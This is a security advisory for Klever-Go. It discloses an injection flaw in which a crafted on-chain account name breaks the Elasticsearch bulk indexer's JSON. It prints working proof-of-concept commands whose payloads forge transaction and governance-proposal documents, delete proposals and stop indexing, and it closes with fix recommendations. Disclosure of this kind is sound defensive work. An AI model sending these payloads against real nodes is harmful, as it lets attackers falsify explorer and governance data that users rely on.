Vulnerability GHSA-7c7c-373r-gfjj
Summary
Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery
Details
Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688
POC
The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'
This submits contract type 12 (SetAccountNameContract) with:
Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}
(84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)
{ "update": { "_index":"accounts", "_id":"<attacker>" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}} ← forged bulk action
{"status":"success"} ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail
Observed result: a forged document {"status":"success"} with _id:"t" appears in the transactions index — the attacker never submitted any such transaction:
GET transactions/_doc/t
{ "found": true, "_source": { "status": "success" } }
Escalation variants — same delivery, only the Name changes
Each is a single SetAccountName tx sent the same way; only the payload differs.
Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'
Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'
Delete a document (e.g. proposal id 5; 61 bytes):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'
Recommendation
-
Escape the name . Never splice on-chain strings into JSON with
fmt.Sprintf. Either apply the existingconverters.JsonEscape()toacc.Name(mirror the_idhandling), or preferably build the entire bulk source withjson.Marshalof a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit everyfmt.Sprintf-built bulk/script line inindexer/common.gofor the same pattern (RootHash and other%sfields on this and nearby paths). -
Restrict the on-chain account-name charset at
SetAccountName(accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.
Related Vulnerabilities
Other vulnerabilities affecting the same packages